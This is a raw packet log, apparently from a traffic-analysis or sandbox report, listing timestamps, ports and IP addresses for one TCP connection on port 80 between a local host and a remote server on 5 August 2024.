Aug 5, 2024 12:01:42.313447952 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313452959 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313461065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313473940 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313487053 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313488960 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313500881 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313524008 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313925982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313939095 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313963890 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313981056 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314017057 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314093113 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314105034 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314116955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314130068 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314140081 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314181089 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314218044 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314347982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314358950 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314371109 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314383984 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314389944 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314395905 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314408064 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314414978 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314419031 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314430952 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314430952 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314451933 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314754009 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314764977 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314774990 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314785957 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314796925 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314798117 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314810991 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.314821959 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314831972 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.314996958 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315006971 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315017939 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315038919 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315057039 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315061092 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315068960 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315080881 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315093040 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315099955 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315121889 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315381050 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315398932 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315411091 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315423012 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315433025 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315435886 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315448046 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315453053 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315459967 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315473080 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315485954 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315510035 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315711975 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315871954 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315882921 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315892935 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315911055 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315911055 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315922976 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315929890 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315934896 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315946102 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315958023 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.315957069 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.315974951 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.360955000 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.640414000 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640429020 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640444040 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640454054 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640459061 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640588999 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.640616894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640628099 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640638113 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640649080 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640661955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640681028 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.640712976 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.640712976 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.640875101 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640887022 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640897036 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640907049 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640918016 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640928984 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640943050 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.640947104 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.640991926 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641170025 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641181946 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641192913 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641202927 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641222000 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641233921 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641235113 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641244888 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641258001 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641290903 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641290903 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641701937 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641711950 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641722918 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641735077 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641751051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641762018 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641765118 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641772985 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641778946 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641783953 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641786098 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641794920 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641801119 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641805887 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641815901 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641824961 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641827106 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641840935 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.641865015 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.641891003 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.642389059 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642400026 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642410040 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642421007 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642431974 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642437935 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642442942 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642451048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.642452955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642460108 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642499924 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.642499924 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.642530918 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.642911911 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642924070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642939091 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642950058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642961025 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642973900 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642985106 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.642996073 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643004894 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643007040 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643018007 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643028975 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643034935 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643039942 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643050909 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643060923 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643074036 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643074036 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643086910 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643102884 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643102884 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643136978 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643661022 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643671989 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643676996 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643687963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643698931 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643712044 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643718004 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643724918 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643743992 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643752098 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643757105 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643769979 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643778086 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643778086 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643780947 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643791914 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.643820047 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.643846035 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.689095020 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.143203974 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143224001 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143238068 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143292904 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143300056 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.143306017 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143317938 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143338919 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.143363953 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.143419027 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143435001 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143479109 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.143588066 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143600941 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143616915 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143630981 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143642902 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.143645048 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143659115 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.143668890 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.143697023 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.143862963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144051075 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144063950 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144076109 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144088030 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144088030 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144099951 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144113064 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144113064 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144125938 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144140005 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144140959 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144150972 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144161940 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144166946 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144174099 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144186020 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144190073 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144200087 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144222021 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144242048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144781113 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144798994 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144810915 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144824028 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144835949 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144839048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144846916 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144857883 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144865036 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144870043 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144881964 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144884109 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144895077 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144907951 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144912004 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144922018 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144934893 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144938946 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144947052 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144958019 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144963980 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144970894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144978046 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.144984961 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.144993067 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145051956 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.145541906 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145555973 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145566940 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145579100 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145591021 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145603895 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145611048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.145615101 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145627022 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145632982 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.145639896 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145652056 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145653009 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.145663977 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145677090 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145682096 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.145689011 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145700932 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.145705938 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.145735979 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.145754099 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.146449089 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.338978052 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339056015 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339068890 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339126110 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.339150906 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339164972 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339190960 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.339263916 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339277029 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339289904 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339302063 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339303017 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.339317083 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.339329958 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.339358091 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340388060 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340401888 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340415955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340428114 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340444088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340452909 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340456963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340468884 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340477943 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340490103 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340501070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340502024 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340512991 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340524912 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340534925 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340543032 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340547085 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340559006 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340579033 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340579987 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340579987 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340591908 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340599060 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340604067 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340615988 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340630054 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340632915 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340640068 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340646029 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340652943 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340663910 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340676069 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340682983 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340687037 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340698957 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340698957 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340709925 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340720892 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340733051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340737104 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340744019 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340754986 CEST	80	49905	27.221.16.179	192.168.2.7
